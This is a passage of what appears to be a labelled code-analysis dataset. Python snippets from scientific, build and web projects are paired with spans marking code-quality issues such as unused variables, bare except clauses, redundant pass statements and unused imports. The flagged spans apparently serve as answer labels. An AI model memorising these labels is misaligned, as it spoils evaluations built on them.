unused for FITC_EP prediction with gp.m\n dd = old_div(1,(d0+old_div(1,ttau)))\n alpha = tnu/ttau*dd\n RV = np.dot(R,V)\n R0tV = np.dot(R0.T,V)\n alpha = alpha - np.dot(RV.T,np.dot(RV,alpha))*dd # long alpha vector for ordinary infEP\n post.alpha = np.dot(R0tV,alpha) # alpha = R0'*V*inv(Kt+diag(1./ttau))*(tnu./ttau)\n B = R0tV*np.tile(dd.T,(nu,1)); L = np.dot(B,R0tV.T); B = np.dot(B,RV.T)\n post.L = np.dot(B,B.T) - L # L = -R0'*V*inv(Kt+diag(1./ttau))*V'*R0\n\n if nargout>2: # do we want derivatives?\n dnlZ = dnlZStruct(meanfunc, covfunc, likfunc) # allocate space for derivatives\n RVdd = RV*np.tile(dd.T,(nu,1))\n for ii in range(len(covfunc.hyp)):\n ddiagK,dKuu,dKu = covfunc.getDerMatrix(x=x, mode='train', der=ii)\n dA = 2*dKu.T - np.dot(R0tV.T,dKuu) # dQ = dA*R0tV\n w = np.atleast_2d((dA*R0tV.T).sum(axis=1)).T # w = diag(dQ)\n v = ddiagK - w # v = diag(dK)-diag(dQ)\n z = np.dot(dd.T,(v+w)) - np.dot(np.atleast_2d((RVdd*RVdd).sum(axis=0)), v) \\\n - (np.dot(RVdd,dA).T * np.dot(R0tV,RVdd.T)).sum()\n dnlZ.cov[ii] = old_div((z - np.dot(alpha.T,(alpha*v)) - np.dot(np.dot(alpha.T,dA),np.dot(R0tV,alpha))),2.)\n dnlZ.cov[ii] = dnlZ.cov[ii][0,0]\n for ii in range(len(likfunc.hyp)): # likelihood hypers\n dlik = likfunc.evaluate(y, old_div(nu_n,tau_n)+m, old_div(1,tau_n), inffunc, ii, 1)\n dnlZ.lik[ii] = -dlik.sum()\n if ii == len(likfunc.hyp)-1:\n # since snu2 is a fixed fraction of sn2, there is a covariance-like term\n # in the derivative as well\n v = np.atleast_2d((R0tV*R0tV).sum(axis=0)).T\n z = (np.dot(RVdd,R0tV.T)**2).sum() - np.dot(np.atleast_2d((RVdd*RVdd).sum(axis=0)),v)\n z = z + np.dot(post.alpha.T,post.alpha) - np.dot(alpha.T,(v*alpha))\n dnlZ.lik[ii] += snu2*z\n dnlZ.lik[ii] = dnlZ.lik[ii][0,0]\n [junk,dlZ] = likfunc.evaluate(y, old_div(nu_n,tau_n), old_div(1,tau_n), inffunc, None, 2) # mean hyps\n for ii in range(len(meanfunc.hyp)):\n dm = meanfunc.getDerMatrix(x, ii)\n dnlZ.mean[ii] = -np.dot(dlZ.T,dm)\n dnlZ.mean[ii] = dnlZ.mean[ii][0,0]\n\n return post, nlZ[0,0], dnlZ\n else:\n return post, nlZ[0,0]", "metadata": "root.FITC_EP.evaluate", "header": "['class', 'FITC_EP', '(', 'Inference', ')', ':', '___EOS___']", "index": 819 } ]

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[ { "content": " def add_data(self, group, name, data):\n if self.isgroup(data):\n g = self.add_h5group(group, name,\n attrs={'larchtype': 'group',\n 'class': data.__class__.__name__})\n for comp in dir(data):\n self.add_data(g, comp, getattr(data, comp))\n elif isinstance(data, (list, tuple)):\n dtype = 'list'\n if isinstance(data, tuple): dtype = 'tuple'\n g = self.add_h5group(group, name, attrs={'larchtype': dtype})\n for ix, comp in enumerate(data):\n iname = 'item%i' % ix\n self.add_data(g, iname, comp)\n elif isinstance(data, dict):\n g = self.add_h5group(group, name, attrs={'larchtype': 'dict'})\n for key, val in data.items():\n self.add_data(g, key, val)\n elif isParameter(data):\n g = self.add_h5group(group, name, attrs={'larchtype': 'parameter'})\n self.add_h5dataset(g, 'json', data.asjson())\n else:\n d = self.add_h5dataset(group, name, data)", "metadata": "root.H5PySaveFile.add_data", "header": "['class', 'H5PySaveFile', '(', 'object', ')', ':', '___EOS___']", "index": 72 }, { "content": "@ValidateLarchPlugin\ndef restore(fname, group=None, _larch=None):\n \"\"\"restore groups and data from an hdf5 Larch Save file\n\n restore(fname, group=None)\n\n Parameters\n ----------\n fname name of output Larch save file (required)\n group top-level group to put data in [None]\n\n Returns\n -------\n top-level grouop containing restored subgroups and data.\n\n If group is None, a group will be created and returned.\n\n See Also: save()\n \"\"\"\n symtable = _larch.symtable\n msg = _larch.writer.write\n fh = h5py.File(fname, 'r')\n\n if fh.attrs.get('datatype', None) != 'LarchSaveFile':\n msg(\"File '%s' is not a valid larch save file\\n\" % fname)\n return\n create_group = _larch.symtable.create_group\n\n from larch_plugins.xafs import (FeffPathGroup, FeffDatFile,\n FeffitDataSet, TransformGroup)\n\n def make_group(h5group):\n creators = {'TransformGroup': TransformGroup,\n 'FeffDatFile': FeffDatFile,\n 'FeffitDataSet': FeffitDataSet,\n 'FeffPathGroup': FeffPathGroup}\n gtype = h5group.attrs.get('class', None)\n return creators.get(gtype, create_group)(_larch=_larch)\n\n def get_component(val):\n if isinstance(val, h5py.Group):\n ltype = val.attrs.get('larchtype', None)\n if ltype == 'group':\n me = make_group(val)\n for skey, sval in val.items():\n setattr(me, skey, get_component(sval))\n return me\n elif ltype == 'parameter':\n kws = json.loads(val['json'].value)\n if kws['expr'] is not None:\n kws.pop('val')\n kws['_larch'] = _larch\n return Parameter(**kws)\n elif ltype in ('list', 'tuple'):\n me = []\n for skey, sval in val.items():\n me.append(get_component(sval))\n if ltype == 'tuple':\n me = tuple(me)\n return me\n elif ltype == 'dict':\n me = {}\n for skey, sval in val.items():\n me[skey] = get_component(sval)\n return me\n elif isinstance(val, h5py.Dataset):\n return val.value\n\n # walk through items in hdf5 save file\n if group is None:\n group = create_group()\n for key, val in fh.items():\n setattr(group, key, get_component(val))\n fh.close()\n return group", "metadata": "root.restore", "header": "['module', '___EOS___']", "index": 142 } ]

[ { "span": "d ", "start_line": 94, "start_column": 12, "end_line": 94, "end_column": 13 }, { "span": "symtable ", "start_line": 161, "start_column": 4, "end_line": 161, "end_column": 12 } ]

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[ { "content": " def test70_all_members(self):\n self.assertTrue(len(self._board.all_members()) > 0)", "metadata": "root.TrelloBoardTestCase.test70_all_members", "header": "['class', 'TrelloBoardTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 115 }, { "content": " def test71_normal_members(self):\n self.assertTrue(len(self._board.normal_members()) >= 0)", "metadata": "root.TrelloBoardTestCase.test71_normal_members", "header": "['class', 'TrelloBoardTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 118 }, { "content": " def test72_admin_members(self):\n self.assertTrue(len(self._board.admin_members()) > 0)", "metadata": "root.TrelloBoardTestCase.test72_admin_members", "header": "['class', 'TrelloBoardTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 121 }, { "content": " def test73_owner_members(self):\n members = self._board.owner_members()\n self.assertTrue(len(members) > 0)\n member = members[0].fetch()\n self.assertNotEqual(member.status, None)\n self.assertNotEqual(member.id, None)\n self.assertNotEqual(member.bio, None)\n self.assertNotEqual(member.url, None)\n self.assertNotEqual(member.username, None)\n self.assertNotEqual(member.full_name, None)\n self.assertNotEqual(member.initials, None)\n member2 = self._trello.get_member(member.id)\n self.assertEqual(member.username, member2.username)", "metadata": "root.TrelloBoardTestCase.test73_owner_members", "header": "['class', 'TrelloBoardTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 124 } ]

[ { "span": "self.assertTrue(len(self._board.all_members()) > 0)", "start_line": 116, "start_column": 8, "end_line": 116, "end_column": 59 }, { "span": "self.assertTrue(len(self._board.normal_members()) >= 0)", "start_line": 119, "start_column": 8, "end_line": 119, "end_column": 63 }, { "span": "self.assertTrue(len(self._board.admin_members()) > 0)", "start_line": 122, "start_column": 8, "end_line": 122, "end_column": 61 }, { "span": "self.assertTrue(len(members) > 0)", "start_line": 126, "start_column": 8, "end_line": 126, "end_column": 41 } ]

[]

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[ { "content": "# -*- python -*-\n\n# stdlib imports ---\nimport os\nimport os.path as osp\nimport textwrap\nimport subprocess\ntry:\n subprocess.check_output\nexcept AttributeError:\n subprocess.check_output = check_output\n pass\n\n# waf imports ---\nimport waflib.Utils\nimport waflib.Logs as msg\nfrom waflib.Configure import conf\n\n#\n_heptooldir = osp.dirname(osp.abspath(__file__))\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@conf\ndef find_python(ctx, **kwargs):\n \n ctx.load('hwaf-base', tooldir=_heptooldir)\n\n # prevent hysteresis\n if ctx.env.HWAF_FOUND_PYTHON and not kwargs.get('override', False):\n return\n\n if not ctx.env.HWAF_FOUND_C_COMPILER:\n ctx.fatal('load a C compiler first')\n pass\n\n if not ctx.env.HWAF_FOUND_CXX_COMPILER:\n ctx.fatal('load a C++ compiler first')\n pass\n\n # FIXME: take it from a user configuration file ?\n pyversion = kwargs.get(\"version\", None)\n\n # find python\n path_list = waflib.Utils.to_list(kwargs.get('path_list', []))\n if getattr(ctx.options, 'with_python', None):\n topdir = ctx.options.with_python\n topdir = ctx.hwaf_subst_vars(topdir)\n path_list.append(osp.join(topdir, \"bin\"))\n pass\n kwargs['path_list']=path_list\n\n\n ctx.find_program('python', var='PYTHON', **kwargs)\n ctx.hwaf_declare_runtime_env('PYTHON')\n try:\n # temporary hack for clang and glibc-2.16\n # see: \n # http://sourceware.org/git/?p=glibc.git;a=blobdiff;f=misc/sys/cdefs.h;h=fb6c959d903474b38fd0fcc36e17c5290dcd867c;hp=b94147efe8c5bbba718cb2f9d5911a92414864b6;hb=b7bfe116;hpb=43c4edba7ee8224134132fb38df5f63895cbb326\n ctx.check_cxx(\n msg=\"checking for __extern_always_inline\",\n okmsg=\"ok\",\n features=\"cxx cxxshlib\",\n fragment=textwrap.dedent(\n '''\\\n #define _FORTIFY_SOURCE 2\n #include <string.h>\n #include <sys/cdefs.h>\n int foo() { return 42; }\n '''),\n mandatory=True,\n )\n except waflib.Errors.ConfigurationError:\n ctx.env.append_unique('DEFINES',\n ['__extern_always_inline=inline',])\n pass\n\n ctx.load('python')\n if pyversion:\n ctx.check_python_version(pyversion)\n # we remove the -m32 and -m64 options from these flags as they\n # can confuse 'check_python_headers' on darwin...\n save_flags = {}\n for n in ('CXXFLAGS','CFLAGS', 'LINKFLAGS'):\n save_flags[n] = ctx.env[n][:]\n if ctx.is_darwin():\n for n in ('CXXFLAGS','CFLAGS', 'LINKFLAGS'):\n ctx.env[n] = []\n for v in save_flags[n]:\n if v not in ('-m32', '-m64'):\n ctx.env.append_unique(n, [v])\n\n pass\n ctx.check_python_headers()\n\n # restore these flags:\n for n in ('CXXFLAGS','CFLAGS', 'LINKFLAGS'):\n ctx.env[n] = save_flags[n][:]\n pass\n \n # hack for ROOT on macosx: LIBPATH_PYEMBED won't point at\n # the directory holding libpython.{so,a}\n pylibdir = ctx.env['LIBPATH_PYEMBED']\n cmd = ctx.hwaf_subst_vars('${PYTHON_CONFIG}')\n for arg in [#('--includes', 'INCLUDES'),\n ('--ldflags', 'LIBPATH'),\n #('--cflags', 'CXXFLAGS'),\n ]:\n o = subprocess.check_output(\n [cmd, arg[0]]\n )\n o = str(o)\n ctx.parse_flags(o, 'python')\n pylibdir = waflib.Utils.to_list(ctx.env['LIBPATH_python'])[:]\n\n # rename the uselib variables from PYEMBED to python\n ctx.copy_uselib_defs(dst='python', src='PYEMBED')\n \n ## the / in PYTHONARCHDIR and PYTHONDIR can confuse some clever software (rootcint)\n ## remove them from the DEFINES list, keep them in DEFINES_PYEMBED and DEFINES_PYEXT\n defines = [x for x in ctx.env[\"DEFINES\"]\n if not (x.startswith(\"PYTHONARCHDIR=\") or\n x.startswith(\"PYTHONDIR\"))]\n ctx.env[\"DEFINES\"] = defines\n ctx.env[\"define_key\"] = [\n k for k in ctx.env[\"define_key\"]\n if not (x in (\"PYTHONARCHDIR\", \"PYTHONDIR\"))\n ]\n for py in (\"PYEXT\", \"PYEMBED\"):\n for k in (\"PYTHONARCHDIR\", \"PYTHONDIR\"):\n ctx.env.append_unique(\"DEFINES_%s\" % py, \"%s=%s\" % (k, ctx.env.get_flat(k)))\n pass\n pass\n ####\n \n # FIXME: hack for python-lcg.\n # python-config --ldflags returns the wrong directory .../config...\n if pylibdir and \\\n (osp.exists(osp.join(pylibdir[0],\n 'libpython%s.so'%ctx.env['PYTHON_VERSION']))\n or\n osp.exists(osp.join(pylibdir[0],\n 'libpython%s.a'%ctx.env['PYTHON_VERSION']))):\n ctx.env['LIBPATH_python'] = pylibdir[:]\n else:\n # PYEMBED value should be ok.\n pass\n \n # disable fat/universal archives on darwin\n if ctx.is_darwin():\n for n in ('CFLAGS', 'CXXFLAGS', 'LINKFLAGS'):\n args = []\n indices = []\n for i,a in enumerate(ctx.env['%s_python'%n]):\n if a == '-arch':\n # removes ['-arch', 'x86_64']\n indices.append(i)\n indices.append(i+1)\n args = [a for i,a in enumerate(ctx.env['%s_python'%n])\n if not (i in indices)]\n ctx.env['%s_python'%n] = args[:]\n \n # make sure the correct arch is built (32/64 !!)\n arch_flag = []\n if ctx.is_darwin():\n if ctx.is_32b(): arch_flag = ['-arch', 'i386']\n else: arch_flag = ['-arch', 'x86_64']\n elif ctx.is_linux(): \n if ctx.is_32b(): arch_flag = ['-m32',]\n else: arch_flag = ['-m64',]\n elif ctx.is_freebsd(): \n if ctx.is_32b(): arch_flag = ['-m32',]\n else: arch_flag = ['-m64',]\n else:\n pass\n \n for n in ('CFLAGS', 'CXXFLAGS', 'LINKFLAGS'):\n ctx.env.append_unique('%s_python'%n, arch_flag)\n \n # disable the creation of .pyo files\n ctx.env['PYO'] = 0\n\n # retrieve the prefix\n cmd = [ctx.env.PYTHON_CONFIG, \"--prefix\"]\n lines=ctx.cmd_and_log(cmd).split()\n ctx.env[\"PYTHON_PREFIX\"] = lines[0]\n ctx.env[\"LIBPATH_python\"] = [l.replace(\"6464\", \"64\")\n for l in ctx.env[\"LIBPATH_python\"]]\n\n # register the python module\n import sys\n fname = sys.modules['waflib.Tools.python'].__file__\n if fname.endswith('.pyc'): fname = fname[:-1]\n ctx.hwaf_export_module(ctx.root.find_node(fname).abspath())\n\n ctx.env.HWAF_FOUND_PYTHON = 1\n return", "metadata": "root.find_python", "header": "['module', '___EOS___']", "index": 64 }, { "content": "@conf\ndef find_python_module(ctx, module_name, condition='', **kwargs):\n \n ctx.load('hwaf-base', tooldir=_heptooldir)\n\n if not ctx.env.CXX and not ctx.env.CC:\n msg.fatal('load a C or C++ compiler first')\n pass\n\n if not ctx.env.HWAF_FOUND_PYTHON:\n ctx.find_python()\n pass\n\n found = False\n os_env = dict(os.environ)\n try:\n ctx.env.stash()\n env = ctx._get_env_for_subproc()\n for k,v in env.items():\n os.environ[k] = v\n pass\n ctx.check_python_module(module_name, condition)\n found = True\n except ctx.errors.ConfigurationError:\n os.environ = os_env\n ctx.env.revert()\n found = False\n pass\n finally:\n os.environ = os_env\n pass\n\n if not found and kwargs.get('mandatory', True):\n ctx.fatal(\"python module %s not found\" % module_name)\n return", "metadata": "root.find_python_module", "header": "['module', '___EOS___']", "index": 239 } ]

[ { "span": "pass", "start_line": 42, "start_column": 4, "end_line": 42, "end_column": 8 }, { "span": "pass", "start_line": 75, "start_column": 8, "end_line": 75, "end_column": 12 }, { "span": "pass", "start_line": 79, "start_column": 8, "end_line": 79, "end_column": 12 }, { "span": "pass", "start_line": 90, "start_column": 8, "end_line": 90, "end_column": 12 }, { "span": "pass", "start_line": 116, "start_column": 8, "end_line": 116, "end_column": 12 }, { "span": "pass", "start_line": 133, "start_column": 8, "end_line": 133, "end_column": 12 }, { "span": "pass", "start_line": 139, "start_column": 8, "end_line": 139, "end_column": 12 }, { "span": "pass", "start_line": 172, "start_column": 12, "end_line": 172, "end_column": 16 }, { "span": "pass", "start_line": 173, "start_column": 8, "end_line": 173, "end_column": 12 }, { "span": "pass", "start_line": 246, "start_column": 8, "end_line": 246, "end_column": 12 }, { "span": "pass", "start_line": 250, "start_column": 8, "end_line": 250, "end_column": 12 }, { "span": "pass", "start_line": 259, "start_column": 12, "end_line": 259, "end_column": 16 }, { "span": "pass", "start_line": 266, "start_column": 8, "end_line": 266, "end_column": 12 }, { "span": "pass", "start_line": 269, "start_column": 8, "end_line": 269, "end_column": 12 } ]

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[ { "content": "def shared_notebook(request, *args, **kwargs):\n notebook_settings = list(settings.IPYTHON_SETTINGS)\n user_directory = os.path.join(settings.IPYTHON_BASE, '_shared')\n port = 8888\n hostname = settings.IPYTHON_HOST\n target_url='http://{hostname}:{port}/'.format(hostname=hostname, port=port)\n\n notebook_settings.append('--NotebookManager.notebook_dir={user_path}'.format(user_path=user_directory))\n notebook_settings.append('--ipython-dir={user_path}/ipython'.format(user_path=user_directory))\n notebook_settings.append('--port={port}'.format(port=port)) # ensure a unique port for each user\n notebook_settings.append('--pylab=inline')\n notebook_settings.append('--no-browser')\n\n if not os.path.exists(settings.IPYTHON_BASE):\n os.mkdir(settings.IPYTHON_BASE)\n\n if not os.path.exists(user_directory):\n os.mkdir(user_directory)\n os.mkdir(os.path.join(user_directory, 'shared'))\n\n try:\n urllib2.urlopen(target_url).read()\n except:\n print \"no notebook found. running a new one in a subshell\"\n run_notebook(notebook_settings)\n\n starting = 5\n while starting:\n try:\n urllib2.urlopen(target_url).read()\n return HttpResponseRedirect(target_url)\n except:\n time.sleep(1)\n starting -= 1", "metadata": "root.shared_notebook", "header": "['module', '___EOS___']", "index": 16 }, { "content": "def notebook_for_user(request, *args, **kwargs):\n \"\"\"\n This should proxy or create an IPython notebook inside of Django, but instead it redirects to the IPython\n notebook URL, forcing a person to go to a different web application entirely. This is not ideal, but it's the\n best we can do right now, as IPython Notebook is complicated enough to be difficult to proxy to (it uses websockets)\n \"\"\"\n user = request.user\n notebook_settings = list(settings.IPYTHON_SETTINGS)\n user_directory = os.path.join(settings.IPYTHON_BASE, user.email)\n port = 8888+user.pk\n hostname = '127.0.0.1'\n target_url='http://{hostname}:{port}/'.format(hostname=hostname, port=port)\n\n if user.is_authenticated():\n notebook_settings.append('--NotebookManager.notebook_dir={user_path}'.format(user_path=user_directory))\n notebook_settings.append('--ipython-dir={user_path}/ipython'.format(user_path=user_directory))\n notebook_settings.append('--port={port}'.format(port=port)) # ensure a unique port for each user\n notebook_settings.append('--pylab=inline')\n notebook_settings.append('--no-browser')\n\n if not os.path.exists(user_directory):\n os.mkdir(user_directory)\n os.mkdir(os.path.join(user_directory, user.email))\n\n try:\n urllib2.urlopen(target_url).read()\n except:\n print \"no notebook found. running a new one in a subshell\"\n run_notebook(notebook_settings)\n\n starting = 5\n while starting:\n try:\n urllib2.urlopen(target_url).read()\n return HttpResponseRedirect(target_url)\n except:\n time.sleep(1)\n starting -= 1", "metadata": "root.notebook_for_user", "header": "['module', '___EOS___']", "index": 52 } ]

[ { "span": "except:", "start_line": 38, "start_column": 4, "end_line": 38, "end_column": 11 }, { "span": "except:", "start_line": 47, "start_column": 8, "end_line": 47, "end_column": 15 }, { "span": "except:", "start_line": 78, "start_column": 4, "end_line": 78, "end_column": 11 }, { "span": "except:", "start_line": 87, "start_column": 8, "end_line": 87, "end_column": 15 } ]

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[ { "content": " def _get_cost(self, inputs, is_training):\n is_training = bool(is_training)\n keep_prob = tf.constant(0.5 if is_training else 1.0)\n\n image, label = inputs\n\n with argscope(Conv2D, kernel_shape=3):\n # 224\n l = Conv2D('conv1_1', image, 64)\n l = Conv2D('conv1_2', l, 64)\n l = MaxPooling('pool1', l, 2, stride=2, padding='VALID')\n # 112\n\n l = Conv2D('conv2_1', l, 128)\n l = Conv2D('conv2_2', l, 128)\n l = MaxPooling('pool2', l, 2, stride=2, padding='VALID')\n # 56\n\n l = Conv2D('conv3_1', l, 256)\n l = Conv2D('conv3_2', l, 256)\n l = Conv2D('conv3_3', l, 256)\n l = MaxPooling('pool3', l, 2, stride=2, padding='VALID')\n # 28\n\n l = Conv2D('conv4_1', l, 512)\n l = Conv2D('conv4_2', l, 512)\n l = Conv2D('conv4_3', l, 512)\n l = MaxPooling('pool4', l, 2, stride=2, padding='VALID')\n # 14\n\n l = Conv2D('conv5_1', l, 512)\n l = Conv2D('conv5_2', l, 512)\n l = Conv2D('conv5_3', l, 512)\n l = MaxPooling('pool5', l, 2, stride=2, padding='VALID')\n # 7\n\n l = FullyConnected('fc6', l, 4096)\n l = tf.nn.dropout(l, keep_prob)\n l = FullyConnected('fc7', l, 4096)\n l = tf.nn.dropout(l, keep_prob)\n logits = FullyConnected('fc8', l, out_dim=1000, nl=tf.identity)\n prob = tf.nn.softmax(logits, name='output')\n\n cost = tf.nn.sparse_softmax_cross_entropy_with_logits(logits, label)\n cost = tf.reduce_mean(cost, name='cost')\n return cost", "metadata": "root.Model._get_cost", "header": "['class', 'Model', '(', 'ModelDesc', ')', ':', '___EOS___']", "index": 33 } ]

[ { "span": "prob ", "start_line": 74, "start_column": 8, "end_line": 74, "end_column": 12 } ]

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[ { "content": "\"\"\"\nMake dummy data and fixtures and stuff to use in benchmarking.\n\"\"\"\n\nimport collections\nimport faker\nimport json\nimport hashlib\nfrom hashlib import sha1\nimport ipaddress\nimport pytest\nimport random\nimport socket\nimport struct\nimport time\n\n\n# Constants and stuff\nfake = faker.Factory.create()\n\n# Phony attributes to randomly generate for testing.\nATTRIBUTE_DATA = {\n 'lifecycle': ['monitored', 'ignored'],\n 'owner': ['jathan', 'gary', 'lisa', 'jimmy', 'bart', 'bob', 'alice'],\n 'metro': ['lax', 'iad', 'sjc', 'tyo'],\n 'foo': ['bar', 'baz', 'spam'],\n}\n\n# Used to store Attribute/value pairs\nAttribute = collections.namedtuple('Attribute', 'name value')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def rando():\n return random.choice((True, False))", "metadata": "root.rando", "header": "['module', '___EOS___']", "index": 32 }, { "content": "def generate_words(num_items=100, title=False, add_suffix=False):\n stuff = set()\n for _ in range(num_items + 1):\n things = (fake.word(), fake.first_name(), fake.last_name())\n suffix = str(random.randint(1, 32)) if add_suffix else ''\n word = random.choice(things) + suffix\n\n # Title it?\n if rando():\n word = word.title()\n\n # Reverse it?\n if rando():\n word = word[::-1] # Reverse it\n\n # Lower it?\n else:\n word = word.lower()\n\n # stuff.add(word)\n yield word", "metadata": "root.generate_words", "header": "['module', '___EOS___']", "index": 36 }, { "content": "def generate_hostnames(num_items=100):\n \"\"\"\n Generate a random list of hostnames.\n\n :param num_items:\n Number of items to generate\n \"\"\"\n\n for i in range(1, num_items + 1):\n yield 'host%s' % i", "metadata": "root.generate_hostnames", "header": "['module', '___EOS___']", "index": 59 }, { "content": "def generate_ipv4():\n \"\"\"Generate a random IPv4 address.\"\"\"\n return socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))", "metadata": "root.generate_ipv4", "header": "['module', '___EOS___']", "index": 71 }, { "content": "def generate_ipv4list(num_items=100, include_hosts=False):\n \"\"\"\n Generate a list of unique IPv4 addresses. This is a total hack.\n\n :param num_items:\n Number of items to generate\n\n :param include_hosts:\n Whether to include /32 addresses\n \"\"\"\n ipset = set()\n # Keep iterating and hack together cidr prefixes if we detect empty\n # trailing octects. This is so lame that we'll mostly just end up with a\n # bunch of /24 networks.\n while len(ipset) < num_items:\n ip = generate_ipv4()\n if ip.startswith('0'):\n continue\n\n if ip.endswith('.0.0.0'):\n prefix = '/8'\n elif ip.endswith('.0.0'):\n prefix = '/16'\n elif ip.endswith('.0'):\n prefix = '/24'\n elif include_hosts:\n prefix = '/32'\n else:\n continue\n\n ip += prefix\n ipset.add(ip)\n return sorted(ipset)", "metadata": "root.generate_ipv4list", "header": "['module', '___EOS___']", "index": 76 }, { "content": "def enumerate_attributes(resource_name, attributes=None):\n if attributes is None:\n attributes = ATTRIBUTE_DATA\n\n for name in attributes:\n yield {'name': name, 'resource_name': resource_name}", "metadata": "root.enumerate_attributes", "header": "['module', '___EOS___']", "index": 111 }, { "content": "def generate_attributes(attributes=None, as_dict=True):\n \"\"\"\n Randomly choose attributes and values for testing.\n\n :param attributes:\n Dictionary of attribute names and values\n\n :param as_dict:\n If set return a dict vs. list of Attribute objects\n \"\"\"\n if attributes is None:\n attributes = ATTRIBUTE_DATA\n attrs = []\n for attr_name, attr_values in attributes.iteritems():\n if random.choice((True, False)):\n attr_value = random.choice(attr_values)\n attrs.append(Attribute(attr_name, attr_value))\n if as_dict:\n attrs = dict(attrs)\n return attrs", "metadata": "root.generate_attributes", "header": "['module', '___EOS___']", "index": 119 }, { "content": "def generate_devices(num_items=100, with_attributes=True):\n \"\"\"\n Return a list of dicts for Device creation.\n\n :param num_items:\n Number of items to generate\n\n :param with_attributes:\n Whether to include Attributes\n \"\"\"\n hostnames = generate_hostnames(num_items)\n\n devices = []\n for hostname in hostnames:\n item = {'hostname': hostname}\n if with_attributes:\n attributes = generate_attributes()\n item['attributes'] = attributes\n\n yield item\n # devices.append(item)\n # return devices", "metadata": "root.generate_devices", "header": "['module', '___EOS___']", "index": 141 }, { "content": "def generate_networks(num_items=100, with_attributes=True, include_hosts=False):\n \"\"\"\n Return a list of dicts for Network creation.\n\n :param num_items:\n Number of items to generate\n\n :param with_attributes:\n Whether to include Attributes\n \"\"\"\n ipv4list = generate_ipv4list(num_items, include_hosts=include_hosts)\n\n networks = []\n for cidr in ipv4list:\n attributes = generate_attributes()\n item = {'cidr': cidr}\n if with_attributes:\n attributes = generate_attributes()\n item['attributes'] = attributes\n\n networks.append(item)\n return networks", "metadata": "root.generate_networks", "header": "['module', '___EOS___']", "index": 165 }, { "content": "def rando_set_action():\n return random.choice(['+', '-', ''])", "metadata": "root.rando_set_action", "header": "['module', '___EOS___']", "index": 189 }, { "content": "def rando_set_query():\n action = rando_set_action()\n return ' '.join(\n action + '%s=%s' % (k, v) for k,v in generate_attributes().iteritems()\n )", "metadata": "root.rando_set_query", "header": "['module', '___EOS___']", "index": 193 } ]

[ { "span": "import json", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 11 }, { "span": "import hashlib", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 14 }, { "span": "import ipaddress", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 16 }, { "span": "import pytest", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 13 }, { "span": "import time", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 11 } ]

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[ { "content": "import argparse\n\n# That's an impressive list of imports.\nimport numpy as np\nfrom numpy import linalg\nfrom numpy.linalg import norm\nfrom scipy.spatial.distance import squareform, pdist\nimport pandas as pd\n\n# We import sklearn.\nimport sklearn\nfrom sklearn.manifold import TSNE\nfrom sklearn.datasets import load_digits\nfrom sklearn.preprocessing import scale\n\n# We'll hack a bit with the t-SNE code in sklearn 0.15.2.\nfrom sklearn.metrics.pairwise import pairwise_distances\nfrom sklearn.manifold.t_sne import (_joint_probabilities,\n _kl_divergence)\nfrom sklearn.utils.extmath import _ravel\n\n# We'll use matplotlib for graphics.\nimport matplotlib.pyplot as plt\nimport matplotlib.patheffects as PathEffects\nimport matplotlib\n\n# We import seaborn to make nice plots.\nimport seaborn as sns\nsns.set_style('darkgrid')\nsns.set_palette('muted')\nsns.set_context(\"notebook\", font_scale=1.5,\n rc={\"lines.linewidth\": 2.5})\n\n# We'll generate an animation with matplotlib and moviepy.\nfrom moviepy.video.io.bindings import mplfig_to_npimage\nimport moviepy.editor as mpy\n\n# Random state.\nRS = 20150101\nDEBUG = False\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n # parsing input data\n args = _parse_file_argument()\n input_data = pd.read_csv(args.csv_file)\n\n # treating missing data\n input_data.fillna(0, inplace=True)\n\n # treating label column\n label_column = args.label\n labels = input_data[label_column].values\n input_data.drop(label_column, axis=1, inplace=True)\n features = input_data.columns.values\n\n # Important part ;)\n tsne_proj = TSNE(random_state=RS).fit_transform(input_data)\n\n # Save projecton as csv\n df = pd.DataFrame(index=labels, data=tsne_proj, columns=['x', 'y'])\n df.to_csv('data/tsne.csv', index_label='label')\n\n # 2d visualization\n scatter(tsne_proj)\n plt.savefig('images/tsne.png', dpi=120)\n\n # Monkey patch in order to track model evolution\n sklearn.manifold.t_sne._gradient_descent = _gradient_descent\n # Positions of the map points at every iteration.\n positions = []\n X_proj = TSNE(random_state=RS).fit_transform(tsne_proj)\n X_iter = np.dstack(position.reshape(-1, 2) for position in positions)\n f, ax, sc = scatter(X_iter[..., -1])\n animation = mpy.VideoClip(make_frame_mpl, duration=X_iter.shape[2] / 40.)\n animation.write_gif(\"images/tsne.gif\", fps=20)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def scatter(x):\n # We choose a color palette with seaborn.\n palette = np.array(sns.color_palette(\"hls\", 10))\n\n # We create a scatter plot.\n f = plt.figure(figsize=(8, 8))\n ax = plt.subplot(aspect='equal')\n sc = ax.scatter(x[:, 0], x[:, 1], lw=0, s=40)\n plt.xlim(-25, 25)\n plt.ylim(-25, 25)\n ax.axis('off')\n ax.axis('tight')\n\n return f, ax, sc", "metadata": "root.scatter", "header": "['module', '___EOS___']", "index": 42 }, { "content": "def _gradient_descent(objective, p0, it, n_iter, n_iter_without_progress=30,\n momentum=0.5, learning_rate=1000.0, min_gain=0.01,\n min_grad_norm=1e-7, min_error_diff=1e-7, verbose=0,\n args=[]):\n # The documentation of this function can be found in scikit-learn's code.\n p = p0.copy().ravel()\n update = np.zeros_like(p)\n gains = np.ones_like(p)\n error = np.finfo(np.float).max\n best_error = np.finfo(np.float).max\n best_iter = 0\n\n for i in range(it, n_iter):\n # We save the current position.\n positions.append(p.copy())\n\n new_error, grad = objective(p, *args)\n error_diff = np.abs(new_error - error)\n error = new_error\n grad_norm = linalg.norm(grad)\n\n if error < best_error:\n best_error = error\n best_iter = i\n elif i - best_iter 